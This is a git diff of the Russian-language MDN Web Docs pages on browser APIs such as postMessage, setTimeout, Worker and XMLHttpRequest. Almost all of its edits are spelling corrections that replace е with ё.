      При вызове метода window.postMessage() он вызывает {{domxref("MessageEvent")}} для отправки в целевом окне, когда завершается любой ожидающий сценарий, который должен быть выполнен (например, оставшиеся обработчики событий, если window.postMessage() вызывается из обработчика событий ранее заданных ожидающих таймаутов). {{domxref("MessageEvent")}} имеет тип  messagedata-свойство которого устанавливает значение первого аргумента в методе window.postMessage(), свойство origin  соответствует адресу основного документа в вызове window.postMessage во время  вызова window.postMessage(), свойство source указывает на окно, из которого window.postMessage() вызвали. (Другие стандартные свойства событий имеют ожидаемые значения)

      @@ -54,7 +54,7 @@ function receiveMessage(event)

      Если вы не ожидаете получения сообщения от других сайтов, не добавляйте обработчики событий message. Это гарантированный способ избежать проблем с безопасностью.

      -

      Если же вы хотите получать сообщения от других сайтов, то всегда необходимо идентифицировать отправителя, используя origin и возможно source свойства. Любой сайт (включая, например, http://evil.example.com) может отправлять сообщения любым другим, и у вас нет гарантии, что неизвестный отправитель не пошлет вредоносные сообщения. Однако даже если отправитель известен, вам все равно необходимо всегда подтверждать синтаксис получаемого сообщения. Иначе, дыра в безопасности сайта, которому вы доверяете, может открыть дыру для межсайтового скриптинга на вашем сайте.

      +

      Если же вы хотите получать сообщения от других сайтов, то всегда необходимо идентифицировать отправителя, используя origin и возможно source свойства. Любой сайт (включая, например, http://evil.example.com) может отправлять сообщения любым другим, и у вас нет гарантии, что неизвестный отправитель не пошлёт вредоносные сообщения. Однако даже если отправитель известен, вам все равно необходимо всегда подтверждать синтаксис получаемого сообщения. Иначе, дыра в безопасности сайта, которому вы доверяете, может открыть дыру для межсайтового скриптинга на вашем сайте.

      Всегда конкретизируйте целевой первоисточник, а не просто *, когда вы используете postMessage для отправки данных другим окнам. Вредоносный сайт может изменить локацию окна без вашего ведома и затем перехватить данные, посылаемые с использованием postMessage.

      diff --git a/files/ru/web/api/window/prompt/index.html b/files/ru/web/api/window/prompt/index.html index 14c240a49a..643ae4685e 100644 --- a/files/ru/web/api/window/prompt/index.html +++ b/files/ru/web/api/window/prompt/index.html @@ -32,7 +32,7 @@ var sign = prompt(); // открывается пустое окошко var sign = window.prompt('Are you feeling lucky'); // открывается окошко с текстом "Are you feeling lucky" var sign = window.prompt('Are you feeling lucky', 'sure'); // открывается окошко с текстом "Are you feeling lucky" и значением по умолчанию "sure"
      -

      Когда пользователь нажимает кнопку OK, функция возвращает текст, введенный в поле. Если пользователь нажимает кнопку OK, без ввода какого-либо текста - возвращается пустая строка. Если пользователь нажимает кнопку Cancel, то функция возвращает null.

      +

      Когда пользователь нажимает кнопку OK, функция возвращает текст, введённый в поле. Если пользователь нажимает кнопку OK, без ввода какого-либо текста - возвращается пустая строка. Если пользователь нажимает кнопку Cancel, то функция возвращает null.

      Вышеописанный prompt будет выглядеть следующим образом (в Chrome на OS X):

      @@ -40,7 +40,7 @@ var sign = window.prompt('Are you feeling lucky', 'sure'); // открывает

      Примечания

      -

      prompt диалог содержит однострочное текстовое поле, кнопку Cancel и кнопку OK, и возвращает (возможно пустой) текст введенный пользователем в текстовое поле.

      +

      prompt диалог содержит однострочное текстовое поле, кнопку Cancel и кнопку OK, и возвращает (возможно пустой) текст введённый пользователем в текстовое поле.

      The following text is shared between this article, DOM:window.confirm and DOM:window.alertДиалоговые окна являются модальными; они блокируют доступ пользователя к остальному интерфейсу программы, пока диалоговое окно не будет закрыто. По этой причине вы не должны злоупотреблять функциями, которые создают диалоговое окно (или модальное окно).

      diff --git a/files/ru/web/api/window/requestanimationframe/index.html b/files/ru/web/api/window/requestanimationframe/index.html index e0a03b8dad..ae4dfb12d5 100644 --- a/files/ru/web/api/window/requestanimationframe/index.html +++ b/files/ru/web/api/window/requestanimationframe/index.html @@ -51,7 +51,7 @@ window.requestAnimationFrame(step);

      Примечание

      -

      В Edge версиях младше 17 и в Internet Explorer не надежно запускать requestAnimationFrame перед циклом рисования.

      +

      В Edge версиях младше 17 и в Internet Explorer не надёжно запускать requestAnimationFrame перед циклом рисования.

      Спецификация

      diff --git a/files/ru/web/api/window/self/index.html b/files/ru/web/api/window/self/index.html index 327e29d143..b564cfc1d4 100644 --- a/files/ru/web/api/window/self/index.html +++ b/files/ru/web/api/window/self/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/self ---

      {{ APIRef() }}

      -

      Свойство Window.self доступно только для чтения и возвращает объект window в виде объекта {{domxref("WindowProxy")}}. Для доступа к данному свойству возможно использовать точечную нотацию и объект window (window.self) или переменную self. Преимущество доступа через переменную self заключается в том, что ее можно использовать в окружениях, в которых нет window, например {{domxref("Worker", "Web Workers")}}. Использование self дает возможность обращаться к глобальному объекту не только в окружениях где есть window (в таком случае self эквивалентна window.self), но также в воркерах (в случае воркера self эквивалентна {{domxref("WorkerGlobalScope.self")}}).

      +

      Свойство Window.self доступно только для чтения и возвращает объект window в виде объекта {{domxref("WindowProxy")}}. Для доступа к данному свойству возможно использовать точечную нотацию и объект window (window.self) или переменную self. Преимущество доступа через переменную self заключается в том, что её можно использовать в окружениях, в которых нет window, например {{domxref("Worker", "Web Workers")}}. Использование self даёт возможность обращаться к глобальному объекту не только в окружениях где есть window (в таком случае self эквивалентна window.self), но также в воркерах (в случае воркера self эквивалентна {{domxref("WorkerGlobalScope.self")}}).

      Пример

      diff --git a/files/ru/web/api/window/sessionstorage/index.html b/files/ru/web/api/window/sessionstorage/index.html index 787b2f308d..720db502de 100644 --- a/files/ru/web/api/window/sessionstorage/index.html +++ b/files/ru/web/api/window/sessionstorage/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/sessionStorage ---

      {{APIRef()}}

      -

      Свойство sessionStorage позволяет получить доступ к объекту {{domxref("Storage")}} текущей сессии. Свойство sessionStorage очень похоже на свойство {{domxref("Window.localStorage")}}, единственное различие заключается в том, что все данные, сохраненные в localStorage не имеют определенного времени жизни, а данные в sessionStorage очищаются в момент окончания сессии текущий страницы. Сессия страницы остается активной все время пока окно браузера открыто и сохраняется между перезагрузками страниц. Открытие той же страницы в новом окне браузера или новой вкладке приводит к созданию новой сессии страницы, что отличается от поведения session cookies.

      +

      Свойство sessionStorage позволяет получить доступ к объекту {{domxref("Storage")}} текущей сессии. Свойство sessionStorage очень похоже на свойство {{domxref("Window.localStorage")}}, единственное различие заключается в том, что все данные, сохранённые в localStorage не имеют определённого времени жизни, а данные в sessionStorage очищаются в момент окончания сессии текущий страницы. Сессия страницы остаётся активной все время пока окно браузера открыто и сохраняется между перезагрузками страниц. Открытие той же страницы в новом окне браузера или новой вкладке приводит к созданию новой сессии страницы, что отличается от поведения session cookies.

      Синтаксис

      @@ -25,7 +25,7 @@ var data = sessionStorage.getItem('key');
      sessionStorage.setItem('myCat', 'Tom');
      -

      Следующий пример автоматически сохраняет содержимое текстового поля. Если страница случайно будет обновлена значение  текстового поля будет восстановлено. Таким образом ничего из введенного пользователем не потеряется даже в этом случае.

      +

      Следующий пример автоматически сохраняет содержимое текстового поля. Если страница случайно будет обновлена значение  текстового поля будет восстановлено. Таким образом ничего из введённого пользователем не потеряется даже в этом случае.

      // Получаем ссылку на текстовое поле,
       // изменение которого будем отслеживать.
      diff --git a/files/ru/web/api/window/unhandledrejection_event/index.html b/files/ru/web/api/window/unhandledrejection_event/index.html
      index c32838dc9c..cd1996b7b2 100644
      --- a/files/ru/web/api/window/unhandledrejection_event/index.html
      +++ b/files/ru/web/api/window/unhandledrejection_event/index.html
      @@ -4,7 +4,7 @@ slug: Web/API/Window/unhandledrejection_event
       translation_of: Web/API/Window/unhandledrejection_event
       original_slug: Web/Events/unhandledrejection
       ---
      -

      Событие unhandledrejection происходит, когда {{jsxref("Promise")}} завершен с ошибкой, но на данную ошибку не установлен обработчик.

      +

      Событие unhandledrejection происходит, когда {{jsxref("Promise")}} завершён с ошибкой, но на данную ошибку не установлен обработчик.

      @@ -37,7 +37,7 @@ original_slug: Web/Events/unhandledrejection

      Inheritance

      -

      Событие unhandledrejection реализует {{domxref("PromiseRejectionEvent")}} интерфейс, который наследуется от {{domxref("Event")}}. Вы можете использовать свойства и методы, определенные в данных интерфейсах.

      +

      Событие unhandledrejection реализует {{domxref("PromiseRejectionEvent")}} интерфейс, который наследуется от {{domxref("Event")}}. Вы можете использовать свойства и методы, определённые в данных интерфейсах.

      {{InheritanceDiagram('','','', 'PromiseRejectionEvent')}}

      diff --git a/files/ru/web/api/windoweventhandlers/onpopstate/index.html b/files/ru/web/api/windoweventhandlers/onpopstate/index.html index 62d82bd693..049f842c4f 100644 --- a/files/ru/web/api/windoweventhandlers/onpopstate/index.html +++ b/files/ru/web/api/windoweventhandlers/onpopstate/index.html @@ -38,7 +38,7 @@ history.back(); // alerts "location: http://example.com/example.html, state: nul history.go(2); // alerts "location: http://example.com/example.html?page=3, state: {"page":3} -

      Обратите внимание, что даже несмотря на то, что первоначальная запись истории (для http://example.com/example.html) не имеет объекта события, связанного с ней, событие popstate все равно произойдет, когда мы активируем эту запись после второго вызова history.back().

      +

      Обратите внимание, что даже несмотря на то, что первоначальная запись истории (для http://example.com/example.html) не имеет объекта события, связанного с ней, событие popstate все равно произойдёт, когда мы активируем эту запись после второго вызова history.back().

      Спецификация

      diff --git a/files/ru/web/api/windoworworkerglobalscope/atob/index.html b/files/ru/web/api/windoworworkerglobalscope/atob/index.html index 28d58a52f1..b158668263 100644 --- a/files/ru/web/api/windoworworkerglobalscope/atob/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/atob/index.html @@ -117,7 +117,7 @@ var decodedData = window.atob(encodedData); // декодирует строку

      [2] Начиная с Firefox 27, atob() игнорирует все символы пробелов в аргументе, чтобы соответствовать последним  HTML5 спецификациям (смотри {{bug(711180)}}).

      -

      [3] atob() теперь определен в  миксине {{domxref("WindowOrWorkerGlobalScope")}}.

      +

      [3] atob() теперь определён в  миксине {{domxref("WindowOrWorkerGlobalScope")}}.

      Смотри также

      diff --git a/files/ru/web/api/windoworworkerglobalscope/btoa/index.html b/files/ru/web/api/windoworworkerglobalscope/btoa/index.html index fdb51cfb15..3ccd17db68 100644 --- a/files/ru/web/api/windoworworkerglobalscope/btoa/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/btoa/index.html @@ -6,7 +6,7 @@ original_slug: Web/API/WindowBase64/btoa ---
      {{APIRef("HTML DOM")}}
      -

      Создает ASCII строку закодированную в base-64 из "строки" бинарных данных.

      +

      Создаёт ASCII строку закодированную в base-64 из "строки" бинарных данных.

      Будьте внимательней этот способ не подходит для Unicode строк! Описание работы с Unicode в секции ниже.

      diff --git a/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html b/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html index 8d398013ce..aeedb7435c 100644 --- a/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html @@ -17,14 +17,14 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout
      timeoutID
      -
      Идентификатор таймаута, который вы хотите отменить. Этот идентификатор был возвращен соответствующим вызовом setTimeout().
      +
      Идентификатор таймаута, который вы хотите отменить. Этот идентификатор был возвращён соответствующим вызовом setTimeout().

      It's worth noting that the pool of IDs used by {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} and {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} are shared, which means you can technically use clearTimeout() and {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} interchangeably. However, for clarity, you should avoid doing so.

      Пример использования:

      -

      Запустите приведенный ниже скрипт в контакте веб-страницы и кликните один раз. Вы увидите всплывающее сообщение через 1 секунду. Если вы щелкните страницу несколько раз за одну секунду, предупреждение появится только один раз.

      +

      Запустите приведённый ниже скрипт в контакте веб-страницы и кликните один раз. Вы увидите всплывающее сообщение через 1 секунду. Если вы щёлкните страницу несколько раз за одну секунду, предупреждение появится только один раз.

      var alarm = {
         remind: function(aMessage) {
      @@ -51,7 +51,7 @@ window.onclick = function() { alarm.setup(); };
       
       

      Примечания

      -

      Передача недействительного ID clearTimeout() ни к чему не приведет. Исключение не создается.

      +

      Передача недействительного ID clearTimeout() ни к чему не приведёт. Исключение не создается.

      Спецификация

      diff --git a/files/ru/web/api/windoworworkerglobalscope/fetch/index.html b/files/ru/web/api/windoworworkerglobalscope/fetch/index.html index d95c0b77ec..cffef51d3e 100644 --- a/files/ru/web/api/windoworworkerglobalscope/fetch/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/fetch/index.html @@ -70,7 +70,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/fetch
      - + @@ -81,7 +81,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/fetch

      Пример

      -

      В нашем Fetch Request примере (см. Fetch Request live) мы создаем новый объект {{domxref("Request")}} (запроса), используя релевантный конструктор, а затем получаем его вызовом fetch(). Так как запрашиваемый ресурс - изображение, для того, чтобы присвоить ему подходящий MIME тип и обработать должным образом, мы применяем к ответу метод {{domxref("Body.blob()")}}, после чего создаем для него Object URL и передаем ее в элемент {{htmlelement("img")}}.

      +

      В нашем Fetch Request примере (см. Fetch Request live) мы создаём новый объект {{domxref("Request")}} (запроса), используя релевантный конструктор, а затем получаем его вызовом fetch(). Так как запрашиваемый ресурс - изображение, для того, чтобы присвоить ему подходящий MIME тип и обработать должным образом, мы применяем к ответу метод {{domxref("Body.blob()")}}, после чего создаём для него Object URL и передаём её в элемент {{htmlelement("img")}}.

      var myImage = document.querySelector('img');
       
      @@ -94,7 +94,7 @@ fetch(myRequest).then(function(response) {
         myImage.src = objectURL;
       });
      -

      В нашем Fetch with init then Request примере (см. Fetch Request init live) мы делаем тоже самое, за исключением того, что передаем в качестве аргумента для fetch() объект init:

      +

      В нашем Fetch with init then Request примере (см. Fetch Request init live) мы делаем тоже самое, за исключением того, что передаём в качестве аргумента для fetch() объект init:

      var myImage = document.querySelector('img');
       
      diff --git a/files/ru/web/api/windoworworkerglobalscope/index.html b/files/ru/web/api/windoworworkerglobalscope/index.html
      index 8f38321cb1..0a7bacf45b 100644
      --- a/files/ru/web/api/windoworworkerglobalscope/index.html
      +++ b/files/ru/web/api/windoworworkerglobalscope/index.html
      @@ -47,7 +47,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope
        
      {{domxref("WindowOrWorkerGlobalScope.atob()")}}
      Декодирует строку данных, которая была закодирована с использованием кодировки base-64.
      {{domxref("WindowOrWorkerGlobalScope.btoa()")}}
      -
      Создает ASCII строку в кодировке base-64 из строки бинарных данных.
      +
      Создаёт ASCII строку в кодировке base-64 из строки бинарных данных.
      {{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}
      Отменяет набор для повторного выполнения, используя {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.
      {{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}
      diff --git a/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html b/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html index aa4ba76d3a..c77c422bf1 100644 --- a/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval ---
      {{APIRef("HTML DOM")}}
      -

      Метод setInterval() предложен для {{domxref("Window")}} и {{domxref("Worker")}} интерфейсов. Он циклически вызывает функцию или участок кода с фиксированной паузой между каждым вызовом. Уникальный идентификатор intervalID, возвращаемый методом, позволяет впоследствии удалить запущенный setInterval c помощью {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}}. Метод определен с помощью миксина {{domxref("WindowOrWorkerGlobalScope")}}.

      +

      Метод setInterval() предложен для {{domxref("Window")}} и {{domxref("Worker")}} интерфейсов. Он циклически вызывает функцию или участок кода с фиксированной паузой между каждым вызовом. Уникальный идентификатор intervalID, возвращаемый методом, позволяет впоследствии удалить запущенный setInterval c помощью {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}}. Метод определён с помощью миксина {{domxref("WindowOrWorkerGlobalScope")}}.

      Синтаксис

      diff --git a/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html b/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html index 8c115986b0..cd1851db1e 100644 --- a/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html +++ b/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html @@ -31,7 +31,7 @@ original_slug: Web/API/WindowTimers/setTimeout

      Пример

      -

      В следующем примере на веб странице создаются две простые кнопки, к которым привязываются действия setTimeout и clearTimeout. Нажатие на первую кнопку установит таймаут, который вызовет диалоговое окно через две секунды. Также будет сохранен id для clearTimeout. Таймаут также может быть отменен по нажатию на вторую кнопку.

      +

      В следующем примере на веб странице создаются две простые кнопки, к которым привязываются действия setTimeout и clearTimeout. Нажатие на первую кнопку установит таймаут, который вызовет диалоговое окно через две секунды. Также будет сохранён id для clearTimeout. Таймаут также может быть отменён по нажатию на вторую кнопку.

      HTML Content

      @@ -143,7 +143,7 @@ var a=[].slice.call(arguments,2);return f(function(){c.apply(this,a)},t)}

      Проблема с "this"

      -

      Когда вы передаете метод в setTimeout() (или в любую другую функцию, если на то пошло), то вызов будет осуществлен с неправильным значением this. Эта проблема разъясняется детально в JavaScript reference.

      +

      Когда вы передаёте метод в setTimeout() (или в любую другую функцию, если на то пошло), то вызов будет осуществлён с неправильным значением this. Эта проблема разъясняется детально в JavaScript reference.

      Объяснение

      diff --git a/files/ru/web/api/worker/onmessage/index.html b/files/ru/web/api/worker/onmessage/index.html index 86db26c45f..c51c30e041 100644 --- a/files/ru/web/api/worker/onmessage/index.html +++ b/files/ru/web/api/worker/onmessage/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Worker/onmessage ---

      {{APIRef("Web Workers API")}}

      -

      Свойство onmessage  интерфейса {{domxref("Worker")}} представляет собой обработчик {{domxref("EventHandler")}}, который будет вызван когда произойдет событие {{event("message")}}. Тип этого события {{domxref("MessageEvent")}} и оно будет вызвано когда worker-объект получит сообщение из выполняемого им кода (т.е из метода {{domxref("DedicatedWorkerGlobalScope.postMessage")}} .

      +

      Свойство onmessage  интерфейса {{domxref("Worker")}} представляет собой обработчик {{domxref("EventHandler")}}, который будет вызван когда произойдёт событие {{event("message")}}. Тип этого события {{domxref("MessageEvent")}} и оно будет вызвано когда worker-объект получит сообщение из выполняемого им кода (т.е из метода {{domxref("DedicatedWorkerGlobalScope.postMessage")}} .

      Примечание: Данные события доступны в свойстве data события {{event("message")}}.

      diff --git a/files/ru/web/api/worker/postmessage/index.html b/files/ru/web/api/worker/postmessage/index.html index 47ea7ce99f..6523a0cb64 100644 --- a/files/ru/web/api/worker/postmessage/index.html +++ b/files/ru/web/api/worker/postmessage/index.html @@ -27,7 +27,7 @@ translation_of: Web/API/Worker/postMessage
      message
      Object передаваемый в worker. Будет содержаться в поле data описания события обработчика {{domxref("DedicatedWorkerGlobalScope.onmessage")}}. Это может быть любое значение или объект JavaScript, которые может обработать алгоритм структурированного клонирования, поддерживающий циклические ссылки.
      transfer {{optional_inline}}
      -
      Необязательный array с передаваемыми ({{domxref("Transferable")}}) объектами (из тех, что были указаны в message) на которые передаются права собственности. Если право на объект передается, он становится непригодным (neutered) в контексте, из которого был отправлен, и становится доступным только в worker, которому он был отправлен.
      +
      Необязательный array с передаваемыми ({{domxref("Transferable")}}) объектами (из тех, что были указаны в message) на которые передаются права собственности. Если право на объект передаётся, он становится непригодным (neutered) в контексте, из которого был отправлен, и становится доступным только в worker, которому он был отправлен.
      Переданные (transferable) объекты могут быть экземплярами классов {{domxref("ArrayBuffer")}}, {{domxref("MessagePort")}} или {{domxref("ImageBitmap")}}. null не является допустимым значением для передачи прав.
      @@ -60,7 +60,7 @@ second.onchange = function() {

      Пример с Transfer

      -

      В этом примере показано дополнение Firefox, которое передает ArrayBuffer из основного потока в ChromeWorker, а затем ChromeWorker передает его обратно в основной поток.

      +

      В этом примере показано дополнение Firefox, которое передаёт ArrayBuffer из основного потока в ChromeWorker, а затем ChromeWorker передаёт его обратно в основной поток.

      Код основного потока:

      @@ -86,7 +86,7 @@ console.info('arrBuf.byteLength, ДО передачи:', arrBuf.byteLength); myWorker.postMessage(     {         aTopic: 'do_sendWorkerArrBuff', -        aBuf: arrBuf // буфер который передается 3 строками ниже +        aBuf: arrBuf // буфер который передаётся 3 строками ниже     },     [         arrBuf // буфер созданный на строке 9 @@ -150,7 +150,7 @@ arrBuf.byteLength, ПОСЛЕ передачи: 0 boo

      Совместимость с браузерами

      - +

      {{Compat("api.Worker.postMessage")}}

      diff --git a/files/ru/web/api/worker/terminate/index.html b/files/ru/web/api/worker/terminate/index.html index 68c93a7b08..21682c32ce 100644 --- a/files/ru/web/api/worker/terminate/index.html +++ b/files/ru/web/api/worker/terminate/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Worker/terminate ---

      {{APIRef("Web Workers API")}}

      -

      Метод terminate() интерфейса {{domxref("Worker")}} немедленно завершает работу worker. Работнику не дается возможность завершить свою работу, он останавливается сразу.

      +

      Метод terminate() интерфейса {{domxref("Worker")}} немедленно завершает работу worker. Работнику не даётся возможность завершить свою работу, он останавливается сразу.

      Синтаксис

      @@ -55,7 +55,7 @@ myWorker.terminate();

      Совместимость с браузерами

      - +

      {{Compat("api.Worker.terminate")}}

      diff --git a/files/ru/web/api/worker/worker/index.html b/files/ru/web/api/worker/worker/index.html index 625841b703..0c7a6fcbe2 100644 --- a/files/ru/web/api/worker/worker/index.html +++ b/files/ru/web/api/worker/worker/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Worker/Worker ---

      {{APIRef("Web Workers API")}}

      -

      Конструктор Worker() создает объект {{domxref ("Worker")}}, который выполняет скрипт по указанному URL-адресу. Этот скрипт должен подчиняться политике одного источника (same-origin policy).

      +

      Конструктор Worker() создаёт объект {{domxref ("Worker")}}, который выполняет скрипт по указанному URL-адресу. Этот скрипт должен подчиняться политике одного источника (same-origin policy).

      Если URL имеет недопустимый синтаксис или нарушена политика одного источника, то будет вызвано {{domxref("DOMException")}} типа SECURITY_ERR.

      diff --git a/files/ru/web/api/workerglobalscope/importscripts/index.html b/files/ru/web/api/workerglobalscope/importscripts/index.html index ef51b14243..bb59c304c6 100644 --- a/files/ru/web/api/workerglobalscope/importscripts/index.html +++ b/files/ru/web/api/workerglobalscope/importscripts/index.html @@ -14,7 +14,7 @@ self.importScripts('foo.js', 'bar.js', ...);

      Параметры

      -

      Разделенный запятыми объект {{domxref("DOMString")}} скриптов, которые должны быть импортированы. Пути к скриптам указываются относительно URL HTML документа.

      +

      Разделённый запятыми объект {{domxref("DOMString")}} скриптов, которые должны быть импортированы. Пути к скриптам указываются относительно URL HTML документа.

      Возвращаемое значение

      @@ -39,7 +39,7 @@ self.importScripts('foo.js', 'bar.js', ...);

      Пример

      -

      Если вы хотите использовать некоторую функциональность, определенную файлом foo.js, необходимо сделать следующее:

      +

      Если вы хотите использовать некоторую функциональность, определённую файлом foo.js, необходимо сделать следующее:

      importScripts('foo.js');
      diff --git a/files/ru/web/api/xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/index.html index 8ad7841fec..ad4b1b2090 100644 --- a/files/ru/web/api/xmlhttprequest/index.html +++ b/files/ru/web/api/xmlhttprequest/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/XMLHttpRequest

      XMLHttpRequest это API, который предоставляет клиенту функциональность для обмена данными между клиентом и сервером. Данный API предоставляет простой способ получения данных по ссылке без перезагрузки страницы. Это позволяет обновлять только часть веб-страницы не прерывая пользователя.  XMLHttpRequest используется в AJAX запросах и особенно в single-page приложениях.

      -

      XMLHttpRequest изначально был разработан Microsoft и позже заимствован Mozilla, Apple, и Google. Сейчас он стандартизирован WHATWG. Несмотря на свое название, XMLHttpRequest может быть использован для получения любых типов данных, не только XML, и поддерживает протоколы помимо HTTP (включая file и ftp).

      +

      XMLHttpRequest изначально был разработан Microsoft и позже заимствован Mozilla, Apple, и Google. Сейчас он стандартизирован WHATWG. Несмотря на своё название, XMLHttpRequest может быть использован для получения любых типов данных, не только XML, и поддерживает протоколы помимо HTTP (включая file и ftp).

      Чтобы начать работать с XMLHttpRequest, выполните этот код:

      @@ -92,7 +92,7 @@ translation_of: Web/API/XMLHttpRequest @@ -113,7 +113,7 @@ translation_of: Web/API/XMLHttpRequest - + @@ -143,13 +143,13 @@ translation_of: Web/API/XMLHttpRequest - + @@ -181,7 +181,7 @@ translation_of: Web/API/XMLHttpRequest - + @@ -240,7 +240,7 @@ translation_of: Web/API/XMLHttpRequest @@ -339,9 +339,9 @@ translation_of: Web/API/XMLHttpRequest

      XMLHttpRequest()

      -

      Конструктор создает объект XMLHttpRequest. Он должен быть вызван перед обращением к любому методу класса.

      +

      Конструктор создаёт объект XMLHttpRequest. Он должен быть вызван перед обращением к любому методу класса.

      -

      Gecko/Firefox 16 добавляет нестандартные параметры в конструктор, для лучшего взаимодействия с режимом инкогнито, (смотри Bug 692677). Установка флага mozAnon в значение true создает сущность AnonXMLHttpRequest() описанную в XMLHttpRequest спецификации, но не реализованную не в одном из браузеров (информация сентября 2012).

      +

      Gecko/Firefox 16 добавляет нестандартные параметры в конструктор, для лучшего взаимодействия с режимом инкогнито, (смотри Bug 692677). Установка флага mozAnon в значение true создаёт сущность AnonXMLHttpRequest() описанную в XMLHttpRequest спецификации, но не реализованную не в одном из браузеров (информация сентября 2012).

      XMLHttpRequest (
         JSObject objParameters
      @@ -354,7 +354,7 @@ translation_of: Web/API/XMLHttpRequest
        
      Вы можете использовать два флага:
      mozAnon
      -
      Boolean: Использование этого флага уберет из запроса заголовки origin, и user credentials. Кроме этого, куки не будут отправлены в запросе, если только они не будут добавлены к запросу специально, через метод setRequestHeader.
      +
      Boolean: Использование этого флага уберёт из запроса заголовки origin, и user credentials. Кроме этого, куки не будут отправлены в запросе, если только они не будут добавлены к запросу специально, через метод setRequestHeader.
      mozSystem
      Boolean: Если выставить этот флаг в значение true то это позволит делать cross-доменные запросы без необходимости получения специальных заголовков со стороны сервера (CORS). Для использования этого флага необходимо использовать дополнительный флаг mozAnon: true, поскольку для отправки запроса на другой домен, нельзя использовать куки и креды пользователя. Этот флаг работает только с привилегированными (одобренными) приложениями; он не сработает с произвольно загруженными страницами.
      @@ -380,7 +380,7 @@ translation_of: Web/API/XMLHttpRequest

      Возвращает значение указанного заголовка из полученного ответа, или null в случает если ответ не получен, или такого заголовка в ответе нет. Возвращаемая строка имеет кодировку UTF.

      -

      Примечание: Если в ответе есть заголовки с одни названием, то значения этих заголовков будут объеденены в одну строку, разделенную запятой и пробелом.

      +

      Примечание: Если в ответе есть заголовки с одни названием, то значения этих заголовков будут объеденены в одну строку, разделённую запятой и пробелом.

      open()

      @@ -406,7 +406,7 @@ translation_of: Web/API/XMLHttpRequest
      url
      URL адрес, на который будет отправлено сообщение.
      async
      -
      Необязательный boolean параметр, по умолчанию равный true. Определяет, будет ли запрос отправлен асинхронно. Если значение равно false, метод send() вернет ответ в общем потоке работы приложения (иначе говоря, приложение зависнет на некоторое время), в противном случае, ответ может быть получен только при помощи определенных  обработчиков событий. В случае, если используется отправка multipart запроса, то этот атрибут должен быть true, или будет выброшено исключение. +
      Необязательный boolean параметр, по умолчанию равный true. Определяет, будет ли запрос отправлен асинхронно. Если значение равно false, метод send() вернёт ответ в общем потоке работы приложения (иначе говоря, приложение зависнет на некоторое время), в противном случае, ответ может быть получен только при помощи определённых  обработчиков событий. В случае, если используется отправка multipart запроса, то этот атрибут должен быть true, или будет выброшено исключение.
      Примечание: Начиная с Gecko 30.0 {{ geckoRelease("30.0") }}, синхронные запросы объявлены как deprecated, в силу того что все пользователи недовольны тем, что приложение "зависает".
      user
      @@ -423,13 +423,13 @@ translation_of: Web/API/XMLHttpRequest

      send()

      -

      Отправляет запрос. Если запрос асинхронный (а по умолчанию это так), этот метод вернет значение сразу после того как метод вызван.

      +

      Отправляет запрос. Если запрос асинхронный (а по умолчанию это так), этот метод вернёт значение сразу после того как метод вызван.

      -

      Примечание переводчика: в этом случае, в ответе не будет содержаться информации, которая пришла с сервера, поскольку она еще не пришла. Для того чтобы получить эту информацию, нужно слушать события загрузки, или использовать promise.

      +

      Примечание переводчика: в этом случае, в ответе не будет содержаться информации, которая пришла с сервера, поскольку она ещё не пришла. Для того чтобы получить эту информацию, нужно слушать события загрузки, или использовать promise.

      -

      Если запрос синхронный, то метод вернет значение только после того, как придет запрос от сервера.

      +

      Если запрос синхронный, то метод вернёт значение только после того, как придёт запрос от сервера.

      Примечание: все необходимые обработчики событий должны быть установлены перед вызовом send().
      @@ -510,7 +510,7 @@ void send(FormData data);

      Вариант метода send() который посылает бинарные данные.

      -
      Примечание: Этот нестандартный метод считается устарелым по состоянию на Gecko 31 {{ geckoRelease(31) }}, и со временем будет удален. Взамен может использоваться стандарт метода send(Blob data). 
      +
      Примечание: Этот нестандартный метод считается устарелым по состоянию на Gecko 31 {{ geckoRelease(31) }}, и со временем будет удалён. Взамен может использоваться стандарт метода send(Blob data). 
      void sendAsBinary(
          in DOMString body
      diff --git a/files/ru/web/api/xmlhttprequest/response/index.html b/files/ru/web/api/xmlhttprequest/response/index.html
      index 383596f34d..7c07373f4f 100644
      --- a/files/ru/web/api/xmlhttprequest/response/index.html
      +++ b/files/ru/web/api/xmlhttprequest/response/index.html
      @@ -20,9 +20,9 @@ translation_of: Web/API/XMLHttpRequest/response
       
       

       

      -

      Соответствующий объект, основанный на значении responseType. Вы можете попытаться запросить данные в определенном формате, установив значение responseType после вызова open() для инициализации запроса, но перед вызовом send() для отправки запроса на сервер.

      +

